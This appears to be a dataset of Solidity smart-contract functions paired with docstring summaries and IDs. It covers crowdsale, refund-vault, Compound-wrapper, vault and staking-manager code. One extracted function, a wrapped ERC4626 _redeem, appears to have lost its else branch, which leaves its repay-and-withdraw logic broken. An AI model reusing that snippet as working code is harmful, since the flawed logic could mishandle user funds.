* and forwarding it if crowdsale is successful.
*/
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
/**
* @param _wallet Vault address
*/
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
/**
* @param investor Investor address
*/
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @param investor Investor address
*/
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
// File: contracts\zeppelin\crowdsale\distribution\RefundableCrowdsale.sol
/**
* @title RefundableCrowdsale
* @dev Extension of Crowdsale contract that adds a funding goal, and
* the possibility of users getting a refund if goal is not met.
* Uses a RefundVault as the crowdsale's vault.
*/
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// minimum amount of funds to be raised in weis
uint256 public goal;
// refund vault used to hold funds while crowdsale is running
RefundVault public vault;
/**
* @dev Constructor, creates RefundVault.
* @param _goal Funding goal
*/
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
/**
* @dev Investors can claim refunds here if crowdsale is unsuccessful
*/
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
/**
* @dev Checks whether funding goal was reached.
* @return Whether funding goal was reached
*/
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
/**
* @dev vault finalization task, called when owner calls finalize()
*/
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
/**
* @dev Overrides Crowdsale fund forwarding, sending funds to vault.
*/
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
// File: contracts\zeppelin\crowdsale\emission\MintedCrowdsale.sol
/**
* @title MintedCrowdsale
* @dev Extension of Crowdsale contract whose tokens are minted in each purchase.
* Token ownership should be transferred to MintedCrowdsale for minting.
*/
contract MintedCrowdsale is Crowdsale {
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param _beneficiary Token purchaser
* @param _tokenAmount Number of tokens to be minted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
// File: contracts\zeppelin\crowdsale\validation\CappedCrowdsale.sol
/**
* @title CappedCrowdsale
* @dev Crowdsale with a limit for total contributions.
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param _cap Max amount of wei to be contributed
*/
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
// File: contracts\zeppelin\crowdsale\validation\WhitelistedCrowdsale.sol
/**
* @title WhitelistedCrowdsale
* @dev Crowdsale in which only whitelisted users can contribute.
*/
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
/**
* @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract.
*/
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
/**
* @dev Extend parent behavior requiring beneficiary to be in whitelist.
* @param _beneficiary Token beneficiary
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
isWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts\zeppelin\token\ERC20\TokenTimelock.sol
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a given release time
*/
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
// ERC20 basic token contract being held
ERC20Basic public token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp when token release is enabled
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
// solium-disable-next-line security/no-block-members
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
// File: contracts\DroneMadnessCrowdsale.sol
/**
* @title Drone Madness Crowdsale Contract
* @dev Drone Madness Crowdsale Contract
* The contract is for the crowdsale of the Drone Madness token. It is:
* - With a hard cap in ETH
* - With a soft cap in ETH
* - Limited in time (start/end date)
* - Only for whitelisted participants to purchase tokens
* - Ether is securely stored in RefundVault until the end of the crowdsale
* - At the end of the crowdsale if the goal is reached funds can be used
* ...otherwise the participants can refund their investments
* - Tokens are minted on each purchase
* - Sale can be paused if needed by the admin
*/
contract DroneMadnessCrowdsale is
MintedCrowdsale,
CappedCrowdsale,
TimedCrowdsale,
FinalizableCrowdsale,
WhitelistedCrowdsale,
RefundableCrowdsale,
Pausable {
using SafeMath for uint256;
// Initial distribution
uint256 public constant SALE_TOKENS = 60; // 60% from totalSupply
uint256 public constant TEAM_TOKENS = 10; // 10% from totalSupply
uint256 public constant PRIZE_TOKENS = 10; // 10% from totalSupply
uint256 public constant ADVISOR_TOKENS = 10; // 10% from totalSupply
uint256 public constant AIRDROP_TOKENS = 5; // 5% from totalSupply
uint256 public constant RESERVE_TOKENS = 5; // 5% from totalSupply
uint256 public constant TEAM_LOCK_TIME = 15770000; // 6 months in seconds
uint256 public constant RESERVE_LOCK_TIME = 31540000; // 1 year in seconds
// Rate bonuses
uint256 public initialRate;
uint256[4] public bonuses = [30,20,10,0];
uint256[4] public stages = [
1535792400, // 1st of Sep - 30rd of Sep -> 30% Bonus
1538384400, // 1st of Oct - 31st of Oct -> 20% Bonus
1541066400, // 1st of Nov - 30rd of Oct -> 10% Bonus
1543658400 // 1st of Dec - 31st of Dec -> 0% Bonus
];
// Min investment
uint256 public minInvestmentInWei;
// Max individual investment
uint256 public maxInvestmentInWei;
mapping (address => uint256) internal invested;
TokenTimelock public teamWallet;
TokenTimelock public reservePool;
TokenPool public advisorPool;
TokenPool public airdropPool;
// Events for this contract
/**
* Event triggered when changing the current rate on different stages
* @param rate new rate
*/
event CurrentRateChange(uint256 rate);
/**
* @dev Contract constructor
* @param _cap uint256 hard cap of the crowdsale
* @param _goal uint256 soft cap of the crowdsale
* @param _openingTime uint256 crowdsale start date/time
* @param _closingTime uint256 crowdsale end date/time
* @param _rate uint256 initial rate DRNMD for 1 ETH
* @param _minInvestmentInWei uint256 minimum investment amount
* @param _maxInvestmentInWei uint256 maximum individual investment amount
* @param _wallet address address where the collected funds will be transferred
* @param _token DroneMadnessToken our token
*/
constructor(
uint256 _cap,
uint256 _goal,
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _minInvestmentInWei,
uint256 _maxInvestmentInWei,
address _wallet,
DroneMadnessToken _token)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal) public {
require(_goal <= _cap);
initialRate = _rate;
minInvestmentInWei = _minInvestmentInWei;
maxInvestmentInWei = _maxInvestmentInWei;
}
/**
* @dev Perform the initial token distribution according to the Drone Madness crowdsale rules
* @param _teamAddress address address for the team tokens
* @param _prizePoolAddress address address for the prize pool
* @param _reservePoolAdddress address address for the reserve pool
*/
function doInitialDistribution(
address _teamAddress,
address _prizePoolAddress,
address _reservePoolAdddress) external onlyOwner {
// Create locks for team and reserve pools
teamWallet = new TokenTimelock(token, _teamAddress, closingTime.add(TEAM_LOCK_TIME));
reservePool = new TokenTimelock(token, _reservePoolAdddress, closingTime.add(RESERVE_LOCK_TIME));
// Perform initial distribution
uint256 tokenCap = CappedToken(token).cap();
// Create airdrop and advisor pools
advisorPool = new TokenPool(token, tokenCap.mul(ADVISOR_TOKENS).div(100));
airdropPool = new TokenPool(token, tokenCap.mul(AIRDROP_TOKENS).div(100));
// Distribute tokens to pools
MintableToken(token).mint(teamWallet, tokenCap.mul(TEAM_TOKENS).div(100));
MintableToken(token).mint(_prizePoolAddress, tokenCap.mul(PRIZE_TOKENS).div(100));
MintableToken(token).mint(advisorPool, tokenCap.mul(ADVISOR_TOKENS).div(100));
MintableToken(token).mint(airdropPool, tokenCap.mul(AIRDROP_TOKENS).div(100));
MintableToken(token).mint(reservePool, tokenCap.mul(RESERVE_TOKENS).div(100));
// Ensure that only sale tokens left
assert(tokenCap.sub(token.totalSupply()) == tokenCap.mul(SALE_TOKENS).div(100));
}
/**
* @dev Update the current rate based on the scheme
* 1st of Sep - 30rd of Sep -> 30% Bonus
* 1st of Oct - 31st of Oct -> 20% Bonus
* 1st of Nov - 30rd of Oct -> 10% Bonus
* 1st of Dec - 31st of Dec -> 0% Bonus
*/
function updateRate() external onlyOwner {
uint256 i = stages.length;
while (i-- > 0) {
if (block.timestamp >= stages[i]) {
rate = initialRate.add(initialRate.mul(bonuses[i]).div(100));
emit CurrentRateChange(rate);
break;
}
}
}
/**
* @dev Perform an airdrop from the airdrop pool to multiple beneficiaries
* @param _beneficiaries address[] list of beneficiaries
* @param _amount uint256 amount to airdrop
*/
function airdropTokens(address[] _beneficiaries, uint256 _amount) external onlyOwner {
PausableToken(token).unpause();
airdropPool.allocateEqual(_beneficiaries, _amount);
PausableToken(token).pause();
}
/**
* @dev Transfer tokens to advisors from the advisor's pool
* @param _beneficiaries address[] list of beneficiaries
* @param _amounts uint256[] amounts to airdrop
*/
function allocateAdvisorTokens(address[] _beneficiaries, uint256[] _amounts) external onlyOwner {
PausableToken(token).unpause();
advisorPool.allocate(_beneficiaries, _amounts);
PausableToken(token).pause();
}
/**
* @dev Transfer the ownership of the token conctract
* @param _newOwner address the new owner of the token
*/
function transferTokenOwnership(address _newOwner) onlyOwner public {
Ownable(token).transferOwnership(_newOwner);
}
/**
* @dev Validate min and max amounts and other purchase conditions
* @param _beneficiary address token purchaser
* @param _weiAmount uint256 amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= minInvestmentInWei);
require(invested[_beneficiary].add(_weiAmount) <= maxInvestmentInWei);
require(!paused);
}
/**
* @dev Update invested amount
* @param _beneficiary address receiving the tokens
* @param _weiAmount uint256 value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
invested[_beneficiary] = invested[_beneficiary].add(_weiAmount);
}
/**
* @dev Perform crowdsale finalization.
* - Finish token minting
* - Enable transfers
* - Give back the token ownership to the admin
*/
function finalization() internal {
DroneMadnessToken dmToken = DroneMadnessToken(token);
dmToken.finishMinting();
dmToken.unpause();
super.finalization();
transferTokenOwnership(owner);
airdropPool.transferOwnership(owner);
advisorPool.transferOwnership(owner);
}
}
// File: contracts\DroneMadnessPresale.sol
/**
* @title Drone Madness Presale Contract
* @dev Drone Madness Presale Contract
* The contract is for the private sale of the Drone Madness token. It is:
* - With a hard cap in ETH
* - Limited in time (start/end date)
* - Only for whitelisted participants to purchase tokens
* - Tokens are minted on each purchase
*/
contract DroneMadnessPresale is
MintedCrowdsale,
CappedCrowdsale,
TimedCrowdsale,
WhitelistedCrowdsale {
using SafeMath for uint256;
// Min investment
uint256 public minInvestmentInWei;
// Investments
mapping (address => uint256) internal invested;
/**
* @dev Contract constructor
* @param _cap uint256 hard cap of the crowdsale
* @param _openingTime uint256 crowdsale start date/time
* @param _closingTime uint256 crowdsale end date/time
* @param _rate uint256 initial rate DRNMD for 1 ETH
* @param _wallet address address where the collected funds will be transferred
* @param _token DroneMadnessToken our token
*/
constructor(
uint256 _cap,
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _minInvestmentInWei,
address _wallet,
DroneMadnessToken _token)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime) public {
minInvestmentInWei = _minInvestmentInWei;
}
/**
* @dev Validate min investment amount
* @param _beneficiary address token purchaser
* @param _weiAmount uint256 amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= minInvestmentInWei);
}
/**
* @dev Transfer the ownership of the token conctract
* @param _newOwner address the new owner of the token
*/
function transferTokenOwnership(address _newOwner) onlyOwner public {
Ownable(token).transferOwnership(_newOwner);
}
} | Perform the initial token distribution according to the Drone Madness crowdsale rules _teamAddress address address for the team tokens _prizePoolAddress address address for the prize pool _reservePoolAdddress address address for the reserve pool/ Create locks for team and reserve pools Perform initial distribution Create airdrop and advisor pools Distribute tokens to pools Ensure that only sale tokens left | function doInitialDistribution(
address _teamAddress,
address _prizePoolAddress,
address _reservePoolAdddress) external onlyOwner {
teamWallet = new TokenTimelock(token, _teamAddress, closingTime.add(TEAM_LOCK_TIME));
reservePool = new TokenTimelock(token, _reservePoolAdddress, closingTime.add(RESERVE_LOCK_TIME));
uint256 tokenCap = CappedToken(token).cap();
advisorPool = new TokenPool(token, tokenCap.mul(ADVISOR_TOKENS).div(100));
airdropPool = new TokenPool(token, tokenCap.mul(AIRDROP_TOKENS).div(100));
MintableToken(token).mint(teamWallet, tokenCap.mul(TEAM_TOKENS).div(100));
MintableToken(token).mint(_prizePoolAddress, tokenCap.mul(PRIZE_TOKENS).div(100));
MintableToken(token).mint(advisorPool, tokenCap.mul(ADVISOR_TOKENS).div(100));
MintableToken(token).mint(airdropPool, tokenCap.mul(AIRDROP_TOKENS).div(100));
MintableToken(token).mint(reservePool, tokenCap.mul(RESERVE_TOKENS).div(100));
assert(tokenCap.sub(token.totalSupply()) == tokenCap.mul(SALE_TOKENS).div(100));
}
| 2,270,422 |
/**
* @title: Compound wrapper
* @summary: Used for interacting with Compound. Has
* a common interface with all other protocol wrappers.
* This contract holds assets only during a tx, after tx it should be empty
* @author: Idle Labs Inc., idle.finance
*/
pragma solidity 0.5.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/ownership/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/CETH.sol";
import "../interfaces/IWETH.sol";
import "../interfaces/ILendingProtocol.sol";
import "../interfaces/WhitePaperInterestRateModel.sol";
contract IdleCompoundETH is ILendingProtocol, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// protocol token cETH address
address public token;
// underlying token WETH address
address public underlying;
address public idleToken;
uint256 public blocksPerYear;
/**
* @param _token : cToken address
* @param _underlying : underlying token (eg DAI) address
* @param _idleToken : idleToken token (eg DAI) address
*/
constructor(address _token, address _underlying, address _idleToken) public {
require(_token != address(0) && _underlying != address(0) && _idleToken != address(0), 'COMP: some addr is 0');
token = _token;
underlying = _underlying;
idleToken = _idleToken;
blocksPerYear = 2371428;
}
/**
* Throws if called by any account other than IdleToken contract.
*/
modifier onlyIdle() {
require(msg.sender == idleToken, "Ownable: caller is not IdleToken");
_;
}
// onlyOwner
/**
* sets blocksPerYear address
*
* @param _blocksPerYear : avg blocks per year
*/
function setBlocksPerYear(uint256 _blocksPerYear)
external onlyOwner {
require(_blocksPerYear != 0, "_blocksPerYear is 0");
blocksPerYear = _blocksPerYear;
}
// end onlyOwner
/**
* Calculate next supply rate for Compound, given an `_amount` supplied (last array param)
* and all other params supplied. See `info_compound.md` for more info
* on calculations.
*
* @param params : array with all params needed for calculation (see below)
* @return : yearly net rate
*/
function nextSupplyRateWithParams(uint256[] memory params)
public view
returns (uint256) {
/*
This comment is a reference for params name
This gives stack too deep so check implementation below
uint256 j = params[0]; // 10 ** 18;
uint256 a = params[1]; // white.baseRate(); // from WhitePaper
uint256 b = params[2]; // cToken.totalBorrows();
uint256 c = params[3]; // white.multiplier(); // from WhitePaper
uint256 d = params[4]; // cToken.totalReserves();
uint256 e = params[5]; // j.sub(cToken.reserveFactorMantissa());
uint256 s = params[6]; // cToken.getCash();
uint256 k = params[7]; // white.blocksPerYear();
uint256 f = params[8]; // 100;
uint256 x = params[9]; // newAmountSupplied;
// q = ((((a + (b*c)/(b + s + x)) / k) * e * b / (s + x + b - d)) / j) * k * f -> to get yearly rate
nextRate = a.add(b.mul(c).div(b.add(s).add(x))).div(k).mul(e).mul(b).div(
s.add(x).add(b).sub(d)
).div(j).mul(k).mul(f); // to get the yearly rate
*/
// (b*c)/(b + s + x)
uint256 inter1 = params[2].mul(params[3]).div(params[2].add(params[6]).add(params[9]));
// (s + x + b - d)
uint256 inter2 = params[6].add(params[9]).add(params[2]).sub(params[4]);
// ((a + (b*c)/(b + s + x)) / k) * e
uint256 inter3 = params[1].add(inter1).div(params[7]).mul(params[5]);
// ((((a + (b*c)/(b + s + x)) / k) * e * b / (s + x + b - d)) / j) * k * f
return inter3.mul(params[2]).div(inter2).div(params[0]).mul(params[7]).mul(params[8]);
}
/**
* Calculate next supply rate for Compound, given an `_amount` supplied
*
* @param _amount : new underlying amount supplied (eg DAI)
* @return : yearly net rate
*/
function nextSupplyRate(uint256 _amount)
external view
returns (uint256) {
CETH cToken = CETH(token);
WhitePaperInterestRateModel white = WhitePaperInterestRateModel(cToken.interestRateModel());
uint256[] memory params = new uint256[](10);
params[0] = 10**18; // j
params[1] = white.baseRate(); // a
params[2] = cToken.totalBorrows(); // b
params[3] = white.multiplier(); // c
params[4] = cToken.totalReserves(); // d
params[5] = params[0].sub(cToken.reserveFactorMantissa()); // e
params[6] = cToken.getCash(); // s
params[7] = blocksPerYear; // k
params[8] = 100; // f
params[9] = _amount; // x
// q = ((((a + (b*c)/(b + s + x)) / k) * e * b / (s + x + b - d)) / j) * k * f -> to get yearly rate
return nextSupplyRateWithParams(params);
}
/**
* @return current price of cToken in underlying
*/
function getPriceInToken()
external view
returns (uint256) {
return CETH(token).exchangeRateStored();
}
/**
* @return apr : current yearly net rate
*/
function getAPR()
external view
returns (uint256 apr) {
CETH cToken = CETH(token);
uint256 cRate = cToken.supplyRatePerBlock(); // interest % per block
apr = cRate.mul(blocksPerYear).mul(100);
}
/**
* Gets all underlying tokens in this contract and mints cTokens
* tokens are then transferred to msg.sender
* NOTE: underlying tokens needs to be sended here before calling this
*
* @return cTokens minted
*/
function mint()
external onlyIdle
returns (uint256 cTokens) {
// convert weth to eth
IWETH(underlying).withdraw(IERC20(underlying).balanceOf(address(this)));
// mint the cTokens and assert there is no error
CETH(token).mint.value(address(this).balance)();
IERC20 _token = IERC20(token);
// cTokens are now in this contract
cTokens = _token.balanceOf(address(this));
// transfer them to the caller
_token.safeTransfer(msg.sender, cTokens);
}
/**
* Gets all cTokens in this contract and redeems underlying tokens.
* underlying tokens are then transferred to `_account`
* NOTE: cTokens needs to be sended here before calling this
*
* @return underlying tokens redeemd
*/
function redeem(address _account)
external onlyIdle
returns (uint256 tokens) {
// Funds needs to be sended here before calling this
IERC20 _underlying = IERC20(underlying);
// redeem all underlying sent in this contract
require(CETH(token).redeem(IERC20(token).balanceOf(address(this))) == 0, "Error redeeming cTokens");
// convert ETH to WETH
IWETH(underlying).deposit.value(address(this).balance)();
tokens = _underlying.balanceOf(address(this));
_underlying.safeTransfer(_account, tokens);
}
/**
* Get available liquidity
*
* @return available liquidity
*/
function availableLiquidity() external view returns (uint256) {
return CETH(token).getCash();
}
/**
* Fallback to receive ether
*/
function() external payable {}
}
| onlyOwner sets blocksPerYear address _blocksPerYear : avg blocks per year/ | function setBlocksPerYear(uint256 _blocksPerYear)
external onlyOwner {
require(_blocksPerYear != 0, "_blocksPerYear is 0");
blocksPerYear = _blocksPerYear;
}
| 1,055,162 |
./partial_match/1/0x2F66C5aAF006Bd9c51615D617589C16c0ed35fD3/sources/contracts/DODOV3MM/D3Pool/D3Funding.sol | used through liquidation | function updateReserveByVault(address token) external onlyVault {
uint256 allowance = IERC20(token).allowance(address(this), state._D3_VAULT_);
if(allowance < type(uint256).max) {
IERC20(token).forceApprove(state._D3_VAULT_, type(uint256).max);
}
_updateReserve(token);
}
| 4,285,836 |
./partial_match/1/0x0CEB4829B3A054ae387E2E0FE0836Baf35A5B6e2/sources/WrappedERC4626YearnCRVAave.sol | see executeOperation() function we withdraw some collateral during flashloan, so we need to update this value | function _redeem(
uint256 shares
) internal override returns (uint256 assets) {
uint256 lps = (crvVault.balanceOf(address(this)) * shares) /
totalSupply();
uint256 crvAmount = crvVault.redeem(lps, address(this), address(this));
uint256 amountToRepay = (aave.getCurrentDebt() * shares) /
totalSupply();
uint256 currentCollateral = aave.getCurrentCollateralSupply();
uint256 amountToWithdraw = (currentCollateral * shares) / totalSupply();
if (crvAmount >= amountToRepay) {
aave.repay(amountToRepay);
assets += assetConverter.safeSwap(
address(crv),
asset(),
crvAmount - amountToRepay
);
aave.withdraw(amountToWithdraw);
assets += amountToWithdraw;
aave.repay(crvAmount);
aave.flashloan(
asset(),
pricesOracle.convert(
address(crv),
asset(),
amountToRepay - crvAmount
)
);
uint256 neededCollateralAmount = currentCollateral -
amountToWithdraw;
currentCollateral = aave.getCurrentCollateralSupply();
if (currentCollateral > neededCollateralAmount) {
amountToWithdraw = currentCollateral - neededCollateralAmount;
}
}
aave.withdraw(amountToWithdraw);
assets += amountToWithdraw;
}
| 3,584,748 |
./full_match/1/0xb9E82142F5B089A1818241047d893d83b5cfF9b1/sources/src/wildlands/tokens/rootchain/NexianGems.sol | ==================================================== ROLE GATED ==================================================== | function setContracts(
IERC721ASafeMintable immContract,
IVRFKeeper keeperContract
) public onlyRole(COLLECTION_ADMIN_ROLE) {
immortalsContract = immContract;
vrfKeeperContract = keeperContract;
}
| 8,377,311 |
// File: contracts/IManager.sol
pragma solidity ^0.5.11;
contract IManager {
event SetController(address controller);
event ParameterUpdate(string param);
function setController(address _controller) external;
}
// File: contracts/zeppelin/Ownable.sol
pragma solidity ^0.5.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/zeppelin/Pausable.sol
pragma solidity ^0.5.11;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
// File: contracts/IController.sol
pragma solidity ^0.5.11;
contract IController is Pausable {
event SetContractInfo(bytes32 id, address contractAddress, bytes20 gitCommitHash);
function setContractInfo(bytes32 _id, address _contractAddress, bytes20 _gitCommitHash) external;
function updateController(bytes32 _id, address _controller) external;
function getContract(bytes32 _id) public view returns (address);
}
// File: contracts/Manager.sol
pragma solidity ^0.5.11;
contract Manager is IManager {
// Controller that contract is registered with
IController public controller;
// Check if sender is controller
modifier onlyController() {
require(msg.sender == address(controller), "caller must be Controller");
_;
}
// Check if sender is controller owner
modifier onlyControllerOwner() {
require(msg.sender == controller.owner(), "caller must be Controller owner");
_;
}
// Check if controller is not paused
modifier whenSystemNotPaused() {
require(!controller.paused(), "system is paused");
_;
}
// Check if controller is paused
modifier whenSystemPaused() {
require(controller.paused(), "system is not paused");
_;
}
constructor(address _controller) public {
controller = IController(_controller);
}
/**
* @notice Set controller. Only callable by current controller
* @param _controller Controller contract address
*/
function setController(address _controller) external onlyController {
controller = IController(_controller);
emit SetController(_controller);
}
}
// File: contracts/ManagerProxyTarget.sol
pragma solidity ^0.5.11;
/**
* @title ManagerProxyTarget
* @notice The base contract that target contracts used by a proxy contract should inherit from
* @dev Both the target contract and the proxy contract (implemented as ManagerProxy) MUST inherit from ManagerProxyTarget in order to guarantee
that both contracts have the same storage layout. Differing storage layouts in a proxy contract and target contract can
potentially break the delegate proxy upgradeability mechanism
*/
contract ManagerProxyTarget is Manager {
// Used to look up target contract address in controller's registry
bytes32 public targetContractId;
}
// File: contracts/bonding/IBondingManager.sol
pragma solidity ^0.5.11;
/**
* @title Interface for BondingManager
* TODO: switch to interface type
*/
contract IBondingManager {
event TranscoderUpdate(address indexed transcoder, uint256 rewardCut, uint256 feeShare);
event TranscoderActivated(address indexed transcoder, uint256 activationRound);
event TranscoderDeactivated(address indexed transcoder, uint256 deactivationRound);
event TranscoderSlashed(address indexed transcoder, address finder, uint256 penalty, uint256 finderReward);
event Reward(address indexed transcoder, uint256 amount);
event Bond(address indexed newDelegate, address indexed oldDelegate, address indexed delegator, uint256 additionalAmount, uint256 bondedAmount);
event Unbond(address indexed delegate, address indexed delegator, uint256 unbondingLockId, uint256 amount, uint256 withdrawRound);
event Rebond(address indexed delegate, address indexed delegator, uint256 unbondingLockId, uint256 amount);
event WithdrawStake(address indexed delegator, uint256 unbondingLockId, uint256 amount, uint256 withdrawRound);
event WithdrawFees(address indexed delegator);
event EarningsClaimed(address indexed delegate, address indexed delegator, uint256 rewards, uint256 fees, uint256 startRound, uint256 endRound);
// Deprecated events
// These event signatures can be used to construct the appropriate topic hashes to filter for past logs corresponding
// to these deprecated events.
// event Bond(address indexed delegate, address indexed delegator);
// event Unbond(address indexed delegate, address indexed delegator);
// event WithdrawStake(address indexed delegator);
// event TranscoderUpdate(address indexed transcoder, uint256 pendingRewardCut, uint256 pendingFeeShare, uint256 pendingPricePerSegment, bool registered);
// event TranscoderEvicted(address indexed transcoder);
// event TranscoderResigned(address indexed transcoder);
// External functions
function updateTranscoderWithFees(address _transcoder, uint256 _fees, uint256 _round) external;
function slashTranscoder(address _transcoder, address _finder, uint256 _slashAmount, uint256 _finderFee) external;
function setCurrentRoundTotalActiveStake() external;
// Public functions
function getTranscoderPoolSize() public view returns (uint256);
function transcoderTotalStake(address _transcoder) public view returns (uint256);
function isActiveTranscoder(address _transcoder) public view returns (bool);
function getTotalBonded() public view returns (uint256);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
